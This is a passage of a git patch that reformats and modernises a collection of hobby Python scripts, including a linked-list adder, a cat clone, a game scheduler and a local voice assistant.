From 4ad678befd982105b436fd0531fca4e8590d72be Mon Sep 17 00:00:00 2001 From: lighting9999 Date: Sat, 11 Jul 2026 18:42:47 +0800 Subject: [PATCH 01/13] Fix bugs and use sympy lib to Upgrade and Upgrade grammer to Python 3.14 --- .gitignore | 4 +- 1-file_handle | 1 - 8_puzzle.py | 1 - A solution to project euler problem 3.py | 2 +- AREA OF TRIANGLE.py | 20 +- Add_two_Linked_List.py | 199 +- Armstrong_number.py | 5 +- BrowserHistory/rock_paper_scissors.py | 2 +- BrowserHistory/tests/test_browser_history.py | 1 + Cat/cat.py | 234 +-- Collatz Sequence/Collaze-Visualize.py | 5 +- Downloaded Files Organizer/requirements.txt | 3 - Droplistmenu/GamesCalender.py | 20 +- JARVIS/__init__.py | 1 - JARVIS/actions.py | 25 +- JARVIS/ai.py | 8 +- JARVIS/apps.py | 21 +- JARVIS/cli.py | 36 +- JARVIS/config.py | 1 - JARVIS/jarvis.py | 1 - JARVIS/memory.py | 3 +- JARVIS/safety.py | 1 - JARVIS/speech.py | 18 +- JARVIS/state.py | 1 - JARVIS/text_utils.py | 5 +- Luhn_Algorithm.py | 167 +- ML House Prediction.ipynb | 1717 ----------------- ML/examples/neural_architecture_search.py | 42 +- ML/examples/train_cifar10.py | 32 +- ML/examples/train_custom.py | 21 +- ML/src/python/neuralforge/__init__.py | 2 +- ML/src/python/neuralforge/cli/__init__.py | 2 +- ML/src/python/neuralforge/cli/gui.py | 435 +++-- ML/src/python/neuralforge/cli/nas.py | 55 +- ML/src/python/neuralforge/cli/test.py | 136 +- ML/src/python/neuralforge/cli/train.py | 215 ++- ML/src/python/neuralforge/config.py | 27 +- ML/src/python/neuralforge/data/__init__.py | 16 +- .../python/neuralforge/data/augmentation.py | 109 +- ML/src/python/neuralforge/data/dataset.py | 102 +- ML/src/python/neuralforge/data/datasets.py | 559 ++++-- ML/src/python/neuralforge/data/transforms.py | 100 +- ML/src/python/neuralforge/models/__init__.py | 12 +- .../python/neuralforge/models/efficientnet.py | 15 +- ML/src/python/neuralforge/models/resnet.py | 8 +- ML/src/python/neuralforge/models/vit.py | 7 +- ML/src/python/neuralforge/nas/__init__.py | 8 +- ML/src/python/neuralforge/nas/evaluator.py | 100 +- ML/src/python/neuralforge/nas/evolution.py | 84 +- ML/src/python/neuralforge/nas/search_space.py | 219 ++- ML/src/python/neuralforge/nn/__init__.py | 20 +- ML/src/python/neuralforge/nn/activations.py | 55 +- ML/src/python/neuralforge/nn/attention.py | 164 +- ML/src/python/neuralforge/nn/convolution.py | 193 +- ML/src/python/neuralforge/nn/layers.py | 137 +- ML/src/python/neuralforge/nn/modules.py | 98 +- ML/src/python/neuralforge/optim/__init__.py | 16 +- ML/src/python/neuralforge/optim/optimizers.py | 327 ++-- ML/src/python/neuralforge/optim/schedulers.py | 160 +- ML/src/python/neuralforge/trainer.py | 246 +-- ML/src/python/neuralforge/utils/__init__.py | 10 +- ML/src/python/neuralforge/utils/logger.py | 67 +- ML/src/python/neuralforge/utils/metrics.py | 91 +- .../python/neuralforge/utils/visualization.py | 207 +- ML/tests/gui_test.py | 433 +++-- ML/tests/quick_test.py | 4 +- ML/tests/test_model.py | 250 ++- ML/train.py | 154 +- Model Usage.ipynb | 84 - Multiply.py | 2 +- MySQL_Databses.py | 1 + NumberToNumberName/numbername.py | 222 ++- Password Manager Using Tkinter/PGV.py | 9 +- Password Manager Using Tkinter/main.py | 206 +- .../Program of Reverse of any number.py | 12 - .../Program to print table of given number.py | 19 - ...everse Linked List( Recursive solution).py | 65 - ...uct of unique prime factors of a number.py | 29 - .../Python Program for Tower of Hanoi.py | 12 - ...ython Program for factorial of a number.py | 43 - ...ogram to Count the Number of Each Vowel.py | 19 - ...play Fibonacci Sequence Using Recursion.py | 16 - Python Programs/Python Program to Find LCM.py | 23 - .../Python Program to Merge Mails.py | 18 - ...Program to Print the Fibonacci sequence.py | 23 - ...am to Remove Punctuations from a String.py | 16 - ...Python Program to Reverse a linked list.py | 56 - ...ogram to Sort Words in Alphabetic Order.py | 42 - .../Python Program to Transpose a Matrix.py | 12 - Python Programs/Python Programs.py | 470 +++++ ...finding square root for positive number.py | 10 - .../data_dynamic.py | 15 +- .../data_static.py | 46 +- .../main.py | 3 +- .../quiz_brain.py | 2 +- .../ui.py | 28 +- Snake Game Using Turtle/colors.py | 16 +- Snake Game Using Turtle/food.py | 5 +- Snake Game Using Turtle/main.py | 54 +- Snake Game Using Turtle/scoreboard.py | 30 +- Snake Game Using Turtle/snake.py | 14 +- Snake Game Using Turtle/wall.py | 5 +- Sum of digits of a number.py | 2 +- WeatherGUI.py | 3 + Web Socket.py | 6 +- XML/HTML parsing | 21 - async_downloader/async_downloader.py | 82 +- batch_file_rename.py | 21 +- billing.py | 1 - blackjack.py | 4 +- calc_area.py | 2 + cicd | 1 - class.dat | Bin 157 -> 0 bytes dialogs/messagebox.py | 5 +- dialogs/requirements.txt | 2 +- dice.py | 10 +- dice_roller.py | 38 +- file_handle/File handle text/counter.py | 1 - image_compressor.py | 14 +- luhn_algorithm_for_credit_card_validation.py | 144 +- magic8ball.py | 63 - mapit.py | 1 + negative.py | 8 +- new.py | 3 - notepad/notepad_support.py | 1 + passwordGen.py | 3 +- password_checker_code.py | 10 +- photo_timestamp_renamer.py | 24 +- primelib/Prime.txt | 22 - primelib/README | 186 -- primelib/README.md | 145 ++ primelib/primelib.py | 758 +++----- primelib/requirement.txt | 1 + pyproject.toml | 7 + remoteok_jobs_scraper/remoteok_jobs.py | 23 +- scrap_file.py | 1 - secret_language.py | 14 +- sendemail.py | 2 + sensors_information.py | 4 + tic-tac-toe.py | 17 +- url_shortner.py | 7 +- very_easy/Random.py | 13 +- voice.py | 4 +- vowel remover function.py | 3 +- webcam.py | 5 +- wikipedia.py | 5 + write_excel_file.py | 4 +- youtubedownloader.py | 24 +- 148 files changed, 5025 insertions(+), 5757 deletions(-) delete mode 160000 1-file_handle delete mode 100644 ML House Prediction.ipynb delete mode 100644 Model Usage.ipynb delete mode 100644 Python Programs/Program of Reverse of any number.py delete mode 100644 Python Programs/Program to print table of given number.py delete mode 100644 Python Programs/Program to reverse Linked List( Recursive solution).py delete mode 100644 Python Programs/Python Program for Product of unique prime factors of a number.py delete mode 100644 Python Programs/Python Program for Tower of Hanoi.py delete mode 100644 Python Programs/Python Program for factorial of a number.py delete mode 100644 Python Programs/Python Program to Count the Number of Each Vowel.py delete mode 100644 Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py delete mode 100644 Python Programs/Python Program to Find LCM.py delete mode 100644 Python Programs/Python Program to Merge Mails.py delete mode 100644 Python Programs/Python Program to Print the Fibonacci sequence.py delete mode 100644 Python Programs/Python Program to Remove Punctuations from a String.py delete mode 100644 Python Programs/Python Program to Reverse a linked list.py delete mode 100644 Python Programs/Python Program to Sort Words in Alphabetic Order.py delete mode 100644 Python Programs/Python Program to Transpose a Matrix.py create mode 100644 Python Programs/Python Programs.py delete mode 100644 Python Programs/python program for finding square root for positive number.py delete mode 100644 XML/HTML parsing delete mode 100644 cicd delete mode 100644 class.dat delete mode 100644 magic8ball.py delete mode 100644 new.py delete mode 100644 primelib/Prime.txt delete mode 100644 primelib/README create mode 100644 primelib/README.md create mode 100644 primelib/requirement.txt create mode 100644 pyproject.toml diff --git a/.gitignore b/.gitignore index 67c6b519707..2e7ea91369b 100644 --- a/.gitignore +++ b/.gitignore @@ -6,7 +6,7 @@ *~ .DS_Store Thumbs.db - +.python-version # Python __pycache__/ *.pyc @@ -32,7 +32,7 @@ wheels/ *.egg-info/ .installed.cfg *.egg - +.ruff_cache/* # Testing .pytest_cache/ .coverage diff --git a/1-file_handle b/1-file_handle deleted file mode 160000 index c9283ce68a8..00000000000 --- a/1-file_handle +++ /dev/null @@ -1 +0,0 @@ -Subproject commit c9283ce68a8ff170e24082e22ed598da549c49ae diff --git a/8_puzzle.py b/8_puzzle.py index 7c6fc858d36..97fe457474c 100644 --- a/8_puzzle.py +++ b/8_puzzle.py @@ -39,7 +39,6 @@ def manhattan(self) -> int: distance += abs(x - i) + abs(y - j) return distance - def is_goal(self) -> bool: """Check if current state matches goal.""" return self.board == self.goal diff --git a/A solution to project euler problem 3.py b/A solution to project euler problem 3.py index 3b34b655083..ad7d9c239aa 100644 --- a/A solution to project euler problem 3.py +++ b/A solution to project euler problem 3.py @@ -37,7 +37,7 @@ def solution(n: int = 600851475143) -> int: """ try: n = int(n) - except (TypeError, ValueError): + except TypeError, ValueError: raise TypeError("Parameter n must be int or passive of cast to int.") if n <= 0: raise ValueError("Parameter n must be greater or equal to one.") diff --git a/AREA OF TRIANGLE.py b/AREA OF TRIANGLE.py index db9b04a5a78..c0dc7db9a96 100644 --- a/AREA OF TRIANGLE.py +++ b/AREA OF TRIANGLE.py @@ -1,13 +1,13 @@ -def get_valid_side(prompt:str): - while True: - try: - value = float(input(prompt)) - if value <=0: - print("Side must be positive") - continue - return value - except ValueError: - print("Invalid Input") +def get_valid_side(prompt: str): + while True: + try: + value = float(input(prompt)) + if value <= 0: + print("Side must be positive") + continue + return value + except ValueError: + print("Invalid Input") a = get_valid_side("Enter side 1: ") diff --git a/Add_two_Linked_List.py b/Add_two_Linked_List.py index 97d10a1011b..b86e65d267b 100644 --- a/Add_two_Linked_List.py +++ b/Add_two_Linked_List.py @@ -1,68 +1,159 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +Add two numbers represented as linked lists. + +Each linked list stores digits in reverse order (head is the least significant digit). +This allows straightforward addition with carry propagation. + +Example: + Number 946 is stored as 6 -> 4 -> 9 + Number 22 is stored as 2 -> 2 + Sum 968 is stored as 8 -> 6 -> 9 +""" + +from typing import Optional + + class Node: - def __init__(self, data): - self.data = data - self.next = None + """Singly linked list node.""" + + def __init__(self, data: int) -> None: + self.data: int = data + self.next: Optional["Node"] = None class LinkedList: - def __init__(self): - self.head = None + """A singly linked list with head pointing to the least significant digit.""" + + def __init__(self) -> None: + self.head: Optional[Node] = None - def insert_at_beginning(self, new_data): - new_node = Node(new_data) + def append(self, data: int) -> None: + """ + Append a new node with `data` at the end (tail). + This keeps the head as the least significant digit. + """ + new_node = Node(data) if self.head is None: self.head = new_node return - new_node.next = self.head - self.head = new_node - - def add_two_no(self, first, second): - prev = None - temp = None - carry = 0 - while first is not None or second is not None: - first_data = 0 if first is None else first.data - second_data = 0 if second is None else second.data - Sum = carry + first_data + second_data - carry = 1 if Sum >= 10 else 0 - Sum = Sum if Sum < 10 else Sum % 10 - temp = Node(Sum) - if self.head is None: - self.head = temp - else: - prev.next = temp - prev = temp - if first is not None: - first = first.next - if second is not None: - second = second.next - if carry > 0: - temp.next = Node(carry) - - def __str__(self): - temp = self.head - while temp: - print(temp.data, "->", end=" ") - temp = temp.next - return "None" + curr = self.head + while curr.next is not None: + curr = curr.next + curr.next = new_node + @classmethod + def from_number(cls, num: int) -> "LinkedList": + """ + Create a linked list representing the digits of `num` + with head as the least significant digit. + + >>> lst = LinkedList.from_number(946) + >>> lst.head.data + 6 + >>> lst.head.next.data + 4 + >>> lst.head.next.next.data + 9 + """ + lst = cls() + if num == 0: + lst.append(0) + return lst + while num > 0: + lst.append(num % 10) + num //= 10 + return lst + + def to_number(self) -> int: + """ + Convert the linked list back to an integer. + + >>> LinkedList.from_number(946).to_number() + 946 + """ + result = 0 + multiplier = 1 + curr = self.head + while curr is not None: + result += curr.data * multiplier + multiplier *= 10 + curr = curr.next + return result + + def __str__(self) -> str: + """Display the linked list from head (least significant) to tail.""" + parts = [] + curr = self.head + while curr is not None: + parts.append(str(curr.data)) + curr = curr.next + return " -> ".join(parts) if parts else "Empty" + + def __repr__(self) -> str: + return f"LinkedList({self})" -if __name__ == "__main__": - first = LinkedList() - second = LinkedList() - first.insert_at_beginning(6) - first.insert_at_beginning(4) - first.insert_at_beginning(9) - second.insert_at_beginning(2) - second.insert_at_beginning(2) +def add_two_numbers(l1: LinkedList, l2: LinkedList) -> LinkedList: + """ + Add two numbers represented by linked lists (head = least significant digit). - print("First Linked List: ") - print(first) - print("Second Linked List: ") - print(second) + Returns a new LinkedList representing the sum. + + Examples: + >>> l1 = LinkedList.from_number(946) + >>> l2 = LinkedList.from_number(22) + >>> result = add_two_numbers(l1, l2) + >>> result.to_number() + 968 + >>> str(result) + '8 -> 6 -> 9' + """ + dummy = Node(0) # Sentinel node + tail = dummy + carry = 0 + p = l1.head + q = l2.head + + while p is not None or q is not None or carry: + val1 = p.data if p else 0 + val2 = q.data if q else 0 + total = val1 + val2 + carry + carry = total // 10 + digit = total % 10 + + tail.next = Node(digit) + tail = tail.next + + if p: + p = p.next + if q: + q = q.next result = LinkedList() - result.add_two_no(first.head, second.head) - print("Final Result: ") - print(result) + result.head = dummy.next + return result + + +if __name__ == "__main__": + # Demonstration + first = LinkedList.from_number(946) + second = LinkedList.from_number(22) + + print("First Linked List (head = least significant):") + print(first) # 6 -> 4 -> 9 + + print("Second Linked List:") + print(second) # 2 -> 2 + + result = add_two_numbers(first, second) + print("Sum (head = least significant):") + print(result) # 8 -> 6 -> 9 + + print(f"Sum as integer: {result.to_number()}") # 968 + + # Run doctests + import doctest + + doctest.testmod(verbose=True) diff --git a/Armstrong_number.py b/Armstrong_number.py index a5b02293aaa..4d56fec54f8 100644 --- a/Armstrong_number.py +++ b/Armstrong_number.py @@ -2,14 +2,15 @@ def is_armstrong_number(number: str) -> bool: """Check if a number (as a string) is a narcissistic/Armstrong number.""" # Logic: Get the exponent (number of digits) exponent = len(number) - + # Logic: Sum each digit raised to the power in a single line # This uses a generator, which is memory efficient. total = sum(int(digit) ** exponent for digit in number) - + # Return the boolean result instead of printing return total == int(number) + # --- Main execution --- user_input = input("Enter the number: ") diff --git a/BrowserHistory/rock_paper_scissors.py b/BrowserHistory/rock_paper_scissors.py index a9c4efa0616..05852df070c 100644 --- a/BrowserHistory/rock_paper_scissors.py +++ b/BrowserHistory/rock_paper_scissors.py @@ -44,7 +44,7 @@ def main(): user_choice = get_user_choice() computer_choice = get_computer_choice() print(f"Computer chose: {computer_choice}") - + print(f"Final result : {decide_winner(user_choice, computer_choice)}") diff --git a/BrowserHistory/tests/test_browser_history.py b/BrowserHistory/tests/test_browser_history.py index fc07e86e0fc..2bcdc486040 100644 --- a/BrowserHistory/tests/test_browser_history.py +++ b/BrowserHistory/tests/test_browser_history.py @@ -88,6 +88,7 @@ def test_complex_navigation(self): # Verify we can't go forward to cleared history self.assertEqual(self.browser.forward(1), "page4.com") + # starting point of code if __name__ == "__main__": unittest.main() diff --git a/Cat/cat.py b/Cat/cat.py index 53271e8e28a..0e7811b5d0b 100644 --- a/Cat/cat.py +++ b/Cat/cat.py @@ -9,8 +9,8 @@ - Reads from stdin when no files are given - Supports "-" as stdin - Prints errors to stderr -- Continues after file errors -- Uses proper exit codes +- Continues after file errors +- Uses proper exit codes - Supports: -n : number all lines -b : number non-empty lines @@ -30,119 +30,119 @@ def process_stream(stream, args, state): - """Read from a stream and write processed output to stdout.""" - for line in stream: - is_blank = line == "\n" - - if args.squeeze_blank and is_blank and state["previous_was_blank"]: - continue - - state["previous_was_blank"] = is_blank - - if args.show_ends: - if line.endswith("\n"): - line = line[:-1] + "$\n" - else: - line = line + "$" - - if args.number_nonblank: - if not is_blank: - sys.stdout.write(f"{state['line_number']:6}\t") - state["line_number"] += 1 - elif args.number: - sys.stdout.write(f"{state['line_number']:6}\t") - state["line_number"] += 1 - - sys.stdout.write(line) - - -def process_file(filename, args, state): - """Open one file and process its contents.""" - with open(filename, "r", encoding="utf-8") as file: - process_stream(file, args, state) - - -def process_files(files, args): - """Process all given filenames.""" - had_error = False - - state = { - "line_number": 1, - "previous_was_blank": False, - } - - for filename in files: - try: - if filename == "-": - process_stream(sys.stdin, args, state) - else: - process_file(filename, args, state) - except OSError as err: - print(f"cat: {filename}: {err}", file=sys.stderr) - had_error = True - - return had_error - - -def parse_arguments(): - """Parse command-line arguments.""" - parser = argparse.ArgumentParser(description="A simple Python cat command.") - - parser.add_argument( - "files", - nargs="*", - help="Files to read. Use '-' to read from standard input.", - ) - - parser.add_argument( - "-n", - "--number", - action="store_true", - help="Number all output lines.", - ) - - parser.add_argument( - "-b", - "--number-nonblank", - action="store_true", - help="Number non-empty output lines.", - ) - - parser.add_argument( - "-s", - "--squeeze-blank", - action="store_true", - help="Suppress repeated empty output lines.", - ) - - parser.add_argument( - "-E", - "--show-ends", - action="store_true", - help="Display $ at the end of each line.", - ) - - return parser.parse_args() - - -def main(): - args = parse_arguments() - - if not args.files: - state = { - "line_number": 1, - "previous_was_blank": False, - } - process_stream(sys.stdin, args, state) - sys.exit(0) - - had_error = process_files(args.files, args) - - if had_error: - sys.exit(1) - - sys.exit(0) - - -if __name__ == "__main__": + """Read from a stream and write processed output to stdout.""" + for line in stream: + is_blank = line == "\n" + + if args.squeeze_blank and is_blank and state["previous_was_blank"]: + continue + + state["previous_was_blank"] = is_blank + + if args.show_ends: + if line.endswith("\n"): + line = line[:-1] + "$\n" + else: + line = line + "$" + + if args.number_nonblank: + if not is_blank: + sys.stdout.write(f"{state['line_number']:6}\t") + state["line_number"] += 1 + elif args.number: + sys.stdout.write(f"{state['line_number']:6}\t") + state["line_number"] += 1 + + sys.stdout.write(line) + + +def process_file(filename, args, state): + """Open one file and process its contents.""" + with open(filename, "r", encoding="utf-8") as file: + process_stream(file, args, state) + + +def process_files(files, args): + """Process all given filenames.""" + had_error = False + + state = { + "line_number": 1, + "previous_was_blank": False, + } + + for filename in files: + try: + if filename == "-": + process_stream(sys.stdin, args, state) + else: + process_file(filename, args, state) + except OSError as err: + print(f"cat: {filename}: {err}", file=sys.stderr) + had_error = True + + return had_error + + +def parse_arguments(): + """Parse command-line arguments.""" + parser = argparse.ArgumentParser(description="A simple Python cat command.") + + parser.add_argument( + "files", + nargs="*", + help="Files to read. Use '-' to read from standard input.", + ) + + parser.add_argument( + "-n", + "--number", + action="store_true", + help="Number all output lines.", + ) + + parser.add_argument( + "-b", + "--number-nonblank", + action="store_true", + help="Number non-empty output lines.", + ) + + parser.add_argument( + "-s", + "--squeeze-blank", + action="store_true", + help="Suppress repeated empty output lines.", + ) + + parser.add_argument( + "-E", + "--show-ends", + action="store_true", + help="Display $ at the end of each line.", + ) + + return parser.parse_args() + + +def main(): + args = parse_arguments() + + if not args.files: + state = { + "line_number": 1, + "previous_was_blank": False, + } + process_stream(sys.stdin, args, state) + sys.exit(0) + + had_error = process_files(args.files, args) + + if had_error: + sys.exit(1) + + sys.exit(0) + + +if __name__ == "__main__": main() diff --git a/Collatz Sequence/Collaze-Visualize.py b/Collatz Sequence/Collaze-Visualize.py index 8431794e843..6cf2481a4b4 100644 --- a/Collatz Sequence/Collaze-Visualize.py +++ b/Collatz Sequence/Collaze-Visualize.py @@ -1,6 +1,7 @@ import time import matplotlib.pyplot as plt + def collatz_sequence(n): """Generate the Collatz sequence for n.""" steps = [n] @@ -12,7 +13,7 @@ def collatz_sequence(n): def visualize(sequence, title="Collatz Sequence"): plt.clf() - plt.plot(sequence, marker='o') + plt.plot(sequence, marker="o") plt.title(title) plt.xlabel("Step") plt.ylabel("Value") @@ -30,7 +31,7 @@ def auto_mode(interval): def on_key(event): nonlocal stop - if event.key == ' ': + if event.key == " ": stop = True fig = plt.figure() diff --git a/Downloaded Files Organizer/requirements.txt b/Downloaded Files Organizer/requirements.txt index 0f0482e781e..07ea7c118c9 100644 --- a/Downloaded Files Organizer/requirements.txt +++ b/Downloaded Files Organizer/requirements.txt @@ -1,5 +1,2 @@ -sys -os -time psutil watchdog diff --git a/Droplistmenu/GamesCalender.py b/Droplistmenu/GamesCalender.py index bfc1282adaf..92a049ea0d1 100644 --- a/Droplistmenu/GamesCalender.py +++ b/Droplistmenu/GamesCalender.py @@ -2,26 +2,30 @@ from tkinter import messagebox from tkcalendar import Calendar + def show(): visitor = selected1.get() home = selected2.get() - + # Validation: Check if teams are the same if visitor == home: - messagebox.showwarning("Input Error", "Visitor and Home teams cannot be the same!") + messagebox.showwarning( + "Input Error", "Visitor and Home teams cannot be the same!" + ) return game = f"{visitor} vs {home} on {cal.get_date()}" - + # Update the Text widget - display_area.config(state=tk.NORMAL) # Enable editing + display_area.config(state=tk.NORMAL) # Enable editing display_area.insert(tk.END, game + "\n") - display_area.config(state=tk.DISABLED) # Make read-only - + display_area.config(state=tk.DISABLED) # Make read-only + # Optional: Clear dropdowns or reset selected1.set("Team 1") selected2.set("Team 2") + window = tk.Tk() window.title("Game Scheduler") window.geometry("600x550") @@ -40,7 +44,9 @@ def show(): cal = Calendar(window, selectmode="day", year=2026, month=6, day=2) cal.grid(row=0, column=2, rowspan=2, padx=20) -tk.Button(window, text="Add to Schedule", command=show).grid(row=2, column=0, columnspan=2, pady=20) +tk.Button(window, text="Add to Schedule", command=show).grid( + row=2, column=0, columnspan=2, pady=20 +) # Scrollable display area display_area = tk.Text(window, height=10, width=50, state=tk.DISABLED) diff --git a/JARVIS/__init__.py b/JARVIS/__init__.py index 7cf4a8d62a4..6b51a7ab597 100644 --- a/JARVIS/__init__.py +++ b/JARVIS/__init__.py @@ -1,2 +1 @@ """Jarvis local desktop assistant.""" - diff --git a/JARVIS/actions.py b/JARVIS/actions.py index c8bef6f62af..d5857c6c942 100644 --- a/JARVIS/actions.py +++ b/JARVIS/actions.py @@ -59,7 +59,11 @@ def open_web_target(target): cleaned = normalize_text(target) url = KNOWN_SITES.get(cleaned) if not url and "." in cleaned: - url = target if target.startswith(("http://", "https://")) else f"https://{target}" + url = ( + target + if target.startswith(("http://", "https://")) + else f"https://{target}" + ) if not url or not is_safe_url(url): return "I can only open safe web addresses." webbrowser.open(url) @@ -102,7 +106,14 @@ def rule_based_action(text): if is_dangerous_request(cleaned): return "blocked" - search_prefixes = ["search for ", "google search ", "look up ", "find ", "ara ", "google da ara "] + search_prefixes = [ + "search for ", + "google search ", + "look up ", + "find ", + "ara ", + "google da ara ", + ] for prefix in search_prefixes: if cleaned.startswith(prefix): query = cleaned.removeprefix(prefix).strip() @@ -120,7 +131,15 @@ def rule_based_action(text): app = cleaned[: -len(" kapat")].strip() return f"close_app:{app}" if app else "" - open_prefixes = ["open ", "launch ", "start ", "can you open ", "please open ", "ac ", "aç "] + open_prefixes = [ + "open ", + "launch ", + "start ", + "can you open ", + "please open ", + "ac ", + "aç ", + ] suffix_open_words = [" ac", " aç", " i ac", " i aç", " u ac", " u aç"] for site, url in KNOWN_SITES.items(): if cleaned in {site, f"open {site}", f"{site} ac", f"{site} aç"}: diff --git a/JARVIS/ai.py b/JARVIS/ai.py index 370cd7e25e1..266e68d2d9c 100644 --- a/JARVIS/ai.py +++ b/JARVIS/ai.py @@ -48,7 +48,9 @@ def ask_model(text): ) except OpenAIError as exc: state.debug("chat error", str(exc)) - return "I cannot reach LM Studio right now. Start the local server and try again." + return ( + "I cannot reach LM Studio right now. Start the local server and try again." + ) debug_response("chat", prompt, response) return clean_assistant_output(response.output_text) @@ -56,7 +58,9 @@ def ask_model(text): def classify_action(text): prompt = f"{ACTION_CLASSIFIER_PROMPT}\nUser: {text}" try: - response = lm_client().responses.create(model=OPENAI_MODEL, input=prompt, max_output_tokens=40) + response = lm_client().responses.create( + model=OPENAI_MODEL, input=prompt, max_output_tokens=40 + ) except OpenAIError as exc: state.debug("action error", str(exc)) return "chat" diff --git a/JARVIS/apps.py b/JARVIS/apps.py index 293d8655d62..16d67809e64 100644 --- a/JARVIS/apps.py +++ b/JARVIS/apps.py @@ -13,7 +13,8 @@ def safe_search_dirs(): dirs = [ Path(os.environ.get("APPDATA", "")) / r"Microsoft\Windows\Start Menu\Programs", - Path(os.environ.get("PROGRAMDATA", "")) / r"Microsoft\Windows\Start Menu\Programs", + Path(os.environ.get("PROGRAMDATA", "")) + / r"Microsoft\Windows\Start Menu\Programs", Path(os.environ.get("USERPROFILE", "")) / "Desktop", Path(os.environ.get("PUBLIC", r"C:\Users\Public")) / "Desktop", Path(os.environ.get("LOCALAPPDATA", "")) / "Programs", @@ -41,7 +42,11 @@ def build_application_index(): for root in safe_search_dirs(): try: candidates = list(root.rglob("*.lnk")) - if root.name.lower() in {"program files", "program files (x86)", "programs"}: + if root.name.lower() in { + "program files", + "program files (x86)", + "programs", + }: candidates.extend(root.glob("*/*.exe")) candidates.extend(root.glob("*.exe")) except OSError: @@ -53,7 +58,9 @@ def build_application_index(): key = normalize_text(name) apps.setdefault(key, {"name": name, "path": str(path)}) sorted_apps = sorted(apps.values(), key=lambda item: item["name"].lower()) - APP_INDEX_FILE.write_text(json.dumps(sorted_apps, ensure_ascii=False, indent=2), encoding="utf-8") + APP_INDEX_FILE.write_text( + json.dumps(sorted_apps, ensure_ascii=False, indent=2), encoding="utf-8" + ) return sorted_apps @@ -68,9 +75,13 @@ def find_application(name): wanted = normalize_text(name) if not wanted: return None - if wanted in BLOCKED_APPS or any(word in wanted.split() for word in DANGEROUS_WORDS): + if wanted in BLOCKED_APPS or any( + word in wanted.split() for word in DANGEROUS_WORDS + ): return None - normalized_apps = [(app, normalize_text(app.get("name", ""))) for app in load_application_index()] + normalized_apps = [ + (app, normalize_text(app.get("name", ""))) for app in load_application_index() + ] for app, app_name in normalized_apps: if wanted == app_name: return app diff --git a/JARVIS/cli.py b/JARVIS/cli.py index 8e3d378286c..24c964916a0 100644 --- a/JARVIS/cli.py +++ b/JARVIS/cli.py @@ -13,7 +13,15 @@ def should_exit(text): - return normalize_text(text) in {"exit", "quit", "bye", "cik", "çık", "stop jarvis", "kapat jarvis"} + return normalize_text(text) in { + "exit", + "quit", + "bye", + "cik", + "çık", + "stop jarvis", + "kapat jarvis", + } def wants_type_mode(text): @@ -31,7 +39,12 @@ def wants_type_mode(text): def wants_developer_mode(text): - return normalize_text(text) in {"developer mode", "development mode", "dev mode", "change mode"} + return normalize_text(text) in { + "developer mode", + "development mode", + "dev mode", + "change mode", + } def wants_normal_mode(text): @@ -79,7 +92,12 @@ def handle_command(user_input): return "Developer mode disabled." if cleaned in {"help", "/help", "yardim", "yardım"}: return help_text() - if cleaned in {"clear memory", "memory clear", "hafizayi temizle", "hafızayı temizle"}: + if cleaned in { + "clear memory", + "memory clear", + "hafizayi temizle", + "hafızayı temizle", + }: clear_memory() return "Memory cleared." if cleaned.startswith("/apps"): @@ -98,7 +116,9 @@ def handle_and_say(user_input): def voice_loop(): say("Ready.") - print("Listening stays on. Speak when you want something, or say 'type mode' to write.") + print( + "Listening stays on. Speak when you want something, or say 'type mode' to write." + ) check_lm_studio() apps = build_application_index() say(f"Safe app index ready: {len(apps)} apps found.") @@ -129,7 +149,11 @@ def voice_loop(): handle_and_say(typed) print("Listening again...") continue - if normalize_text(user_input) in {"refresh apps", "uygulamalari yenile", "uygulamaları yenile"}: + if normalize_text(user_input) in { + "refresh apps", + "uygulamalari yenile", + "uygulamaları yenile", + }: apps = build_application_index() say(f"Safe app index refreshed: {len(apps)} apps found.") continue @@ -148,7 +172,7 @@ def typed_loop(): while True: try: user_input = input("You: ").strip() - except (EOFError, KeyboardInterrupt): + except EOFError, KeyboardInterrupt: print() say("Goodbye.") break diff --git a/JARVIS/config.py b/JARVIS/config.py index 1df478b7762..fcf4dc41dc5 100644 --- a/JARVIS/config.py +++ b/JARVIS/config.py @@ -38,4 +38,3 @@ "komut istemi ac", "komut istemi aç", } - diff --git a/JARVIS/jarvis.py b/JARVIS/jarvis.py index 2d98e162fb7..ff76e3060fc 100644 --- a/JARVIS/jarvis.py +++ b/JARVIS/jarvis.py @@ -5,4 +5,3 @@ if __name__ == "__main__": main(sys.argv) - diff --git a/JARVIS/memory.py b/JARVIS/memory.py index 9690b796327..a82fafd169b 100644 --- a/JARVIS/memory.py +++ b/JARVIS/memory.py @@ -8,7 +8,7 @@ def load_json_list(path): return [] try: data = json.loads(path.read_text(encoding="utf-8")) - except (OSError, json.JSONDecodeError): + except OSError, json.JSONDecodeError: return [] return data if isinstance(data, list) else [] @@ -44,4 +44,3 @@ def memory_context(): if not memory: return "No saved memory yet." return "\n".join(f"- {item}" for item in memory[-10:]) - diff --git a/JARVIS/safety.py b/JARVIS/safety.py index da080396705..eb0fc06cd16 100644 --- a/JARVIS/safety.py +++ b/JARVIS/safety.py @@ -47,4 +47,3 @@ def is_dangerous_request(text): words = set(re.findall(r"[a-z0-9]+", normalize_text(text))) return bool(words & DANGEROUS_WORDS) - diff --git a/JARVIS/speech.py b/JARVIS/speech.py index 7c78c5409c0..54a983640be 100644 --- a/JARVIS/speech.py +++ b/JARVIS/speech.py @@ -98,7 +98,9 @@ def speak(text): def say(text): output_encoding = sys.stdout.encoding or "utf-8" clean_text = clean_assistant_output(text) - safe_text = clean_text.encode(output_encoding, errors="replace").decode(output_encoding) + safe_text = clean_text.encode(output_encoding, errors="replace").decode( + output_encoding + ) print(f"Jarvis: {safe_text}") speak(safe_text) @@ -107,11 +109,17 @@ def recognize_audio(audio, recognizer): candidates = [] for language in SPEECH_LANGUAGES: try: - result = recognizer.recognize_google(audio, language=language, show_all=True) + result = recognizer.recognize_google( + audio, language=language, show_all=True + ) except Exception: continue alternatives = result.get("alternative", []) if isinstance(result, dict) else [] - candidates.extend(item.get("transcript", "") for item in alternatives if item.get("transcript")) + candidates.extend( + item.get("transcript", "") + for item in alternatives + if item.get("transcript") + ) unique_candidates = [] seen = set() for candidate in candidates: @@ -124,7 +132,9 @@ def recognize_audio(audio, recognizer): def listen_once(recognizer, source, choose_best_candidate): print("Listening...") - audio = recognizer.listen(source, timeout=None, phrase_time_limit=LISTEN_PHRASE_SECONDS) + audio = recognizer.listen( + source, timeout=None, phrase_time_limit=LISTEN_PHRASE_SECONDS + ) candidates = recognize_audio(audio, recognizer) if candidates: print("I heard these possibilities:") diff --git 